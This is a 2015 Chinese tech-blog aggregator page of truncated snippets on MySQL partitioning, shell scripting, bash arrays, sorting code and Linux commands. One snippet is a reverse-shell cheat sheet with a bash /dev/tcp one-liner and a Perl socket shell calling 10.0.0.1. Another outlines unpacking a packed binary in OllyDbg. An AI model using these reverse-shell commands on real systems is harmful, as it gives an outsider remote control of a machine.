Time of Update: 2015-07-25
標籤:mysql 最佳化 mysql分區實驗簡要:一、按照分區類型建立分區二、管理分區三、分區與未分區表例子 一、建立分區以hash分區為例 (1)、非線性hash分區1、測試表t_hash結構create table t_hash(id int unsigned,name char(1))engine=myisam
Time of Update: 2015-07-28
標籤:檔案狀態測試-b filename : 當filename 存在並且是塊檔案時返回真(返回0)-c filename : 當filename 存在並且是字元檔案時返回真-d pathname : 當pathname 存在並且是一個目錄時返回真-e pathname : 當由pathname 指定的檔案或目錄存在時返回真-f filename : 當filename 存在並且是正規檔案時返回真-g pathname : 當由pathname 指定的檔案或目錄存在並且設定了SGID
Time of Update: 2015-07-11
標籤:linux ubuntu 函數式 最近在學習shell編程,文中若有錯誤的地方還望各位批評指正。先來看一個簡單的求和函數#!/bin/bash#a test about functionf_sum 7 8function f_sum(){ return $(($1+$2));}f_sum 3 5;total=$(f_sum 3 6);echo $total,$?;注意幾個問題:
Time of Update: 2015-07-11
標籤:一.指令碼結構linux下shell的指令碼,是將一系列命令序列寫在一個文字檔,而這個文字檔時可執行檔。相對命令列來說,開發效率提高。因此他的構架有2部分構成#!和命令序列。其中#!指明此指令碼是用哪個解析器來解析。 例如: 二.基礎知識2.1 變數shell本允許使用者佈建和使用自己的變數,變數可以是數字或者字串,使用者無需指定其類型,也無需在使用前定義。例如:1 #!/bin/bash2 3 #2.24 a="hello word"5 b=56 echo "A is" $a7
Time of Update: 2015-07-15
標籤:1、命令補齊 按Tab鍵2、clear 或者 Ctrl+l 清屏3、Ctrl+u 刪除游標前面的命令4、history 查看執行過的命令5、方向鍵的上下鍵可以查看執行過的命令 1、命令別名 執行個體:alias copy=cp //此時可以用copy實現cp命令,如果命令帶參數,則需要將命令加引號刪除別名:unalias 別名2、輸入\輸出重新導向(1)輸出重新導向 執行個體: ls -l /tmp > /tmp.msg
Time of Update: 2015-07-10
標籤:matlab shell linux shell 工作路徑設定 小技巧 最近在調試一個基於Matlab的程式,在偶然間發現了幾個比較有趣的技巧,給大家分享一下(很可能是太菜鳥了,沒有涉及這方面,大方之家請勿見笑,對您有所協助請點贊!)1.
Time of Update: 2015-07-16
標籤:預定義變數:
Time of Update: 2015-07-15
標籤:#!/bin/sh############################### 2015-07-15 ## author jackluo ## Email [email protected] ###############################version_list=$(svn log --limit 2|sed ‘1d‘|sed ‘$d‘|awk -F ‘|‘ ‘{print $1}‘|awk -v RS="
Time of Update: 2015-07-21
標籤: 硬體篇CPU相關lscpu #查看的是cpu的統計資訊.cat /proc/cpuinfo #查看CPU資訊詳細資料,如每個CPU的型號,主頻等記憶體相關free -m #概要查看記憶體情況 這裡的單位是MBcat /proc/meminfo #查看記憶體詳細資料磁碟相關lsblk #查看硬碟和分區分布,顯示很直觀df -h
Time of Update: 2015-07-16
標籤:shell是一種命令直譯器,在使用者和作業系統間,它提供了面向命令列的非互動式介面的互動。使用者在命令列中輸入命令,shell解釋它們,然後將它作為指令發送給作業系統。已經為Linux開發了幾種不同的shell:Bourne Again shell(BASH)、Korn shell、TCSH shell和Z shell。TCSH是C shell的一個提高版本,C
Time of Update: 2015-07-16
標籤:寫了個指令碼自動產生pdf上傳github受不了每次相同的commit決定使用指令碼傳參簡單好用使用加粗方法,更複雜的可以參考下面兩個詳解。如何給shell指令碼傳參數http://jingyan.baidu.com/article/b24f6c822645b786bfe5daff.html #!/usr/bin/zshxelatex -synctex=1 -interaction=nonstopmode "leetcode-cpp".tex >
Time of Update: 2015-07-28
標籤:2.2-shell數組a=(1 2 3 4 5) 定義1個數組echo $a 只顯示1,不能顯示整個數組的所有元素echo ${a[@]} 顯示整個數組的所有元素,@也可以寫成*echo ${a[0]} 只顯示數組中第一個元素,標記0 如果列印不存在的標記5,則顯示為空白。a[5]=6 &
Time of Update: 2015-07-25
標籤:bash支援一維數組,並且沒有限定數組的大小,數組元素的下標由0開始編號。 定義數組在Shell中,用括弧來表示數組,數組元素用“空格”符號分割開。定義數組的一般形式為:array_name=(value0 value1 value2 value3)也可以單獨定義每個數組元素array_name[0]=value0array_name[1]=value1array_name[2]=value2 讀取數組讀取數組元素值的一般格式是:${
Time of Update: 2015-07-24
標籤:Bash [不通用,跟linux發行版本有關,在ubuntu上測試成功] bash -i >& /dev/tcp/10.0.0.1/8080 0>&1Perl perl -e ‘use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))
Time of Update: 2015-07-22
標籤:一、直接插入排序穩定,時間複雜度:最好O(n)、最差O(n^2)、平均O(n^2)。空間複雜度O(1)void InsertSort(int L[], int n){int i, j,key;for (i = 1; i<n; i++)if(L[i] < L[i-1])//須要將L[i]插入到有序表L[0...i-1]{key = L[i];for(j = i-1; j >= 0 && key < L[j]; j--)//後移L[j+1] = L[j]
Time of Update: 2015-07-10
標籤:冒泡排序 shell linux ubuntu 手動輸入一行字串,並對其排序。 指令碼如下:#!/bin/bash#a test about sortecho "please input a number list"read -a arrsfor((i=0;i<${#arrs[@]};i++)){ for((j=0;j<${#arrs[@]
Time of Update: 2015-07-30
標籤:方法一:載入OD,使用ESP定律:下硬體訪問斷點之後,運行四次,跑飛,那麼我們運行三次,到這裡看到很多pop:retn返回後就到達OEP了: 方法二:直接單步跟蹤,跟蹤到F4跳過,繼續跟蹤:遇到這個loopd,F4跳過。繼續單步跟蹤,會在下面的這三個跳轉指令間迴圈一陣子:往上跳到這裡:往上跳到這裡:這裡再往回跳。但是第二個畫了紅框的跳轉地址是會改變的,當你執行到一定次數的時候,第二個紅框的跳轉會讓你跳轉到這裡: 吾愛專題脫殼練習----壓縮殼練習之三
Time of Update: 2015-07-25
shell編程筆記,shell編程1.Bash變數 使用者定義變數 #局部變數 環境變數 #全域變數 位置參數變數 預定義變數 x=val #賦值 $x #調用
Time of Update: 2015-07-25
shell中的特殊變數IFS當我越來越習慣python的編寫風格時,我經常會想用bash去遍曆一個檔案的行,並將讀取的行進行處理。但一個詭異的情況,如果我的文本類似於這樣the first line.the second line.the third line. for line in `cat filename`doecho
Time of Update: 2015-07-17
shell-自動部署war包到tomcat,shell-tomcat#!/bin/shcURL=$1cRootDir=/data/tomcat/tomcat-usercentershRootDir=/data/tomcat/dll#delete old versionrm -rf $shRootDir/usercenter-web.war*#預設war包地址為jenkins上最後一次打包成功的urlif [ $cURL = 0 ]then cURL=http://192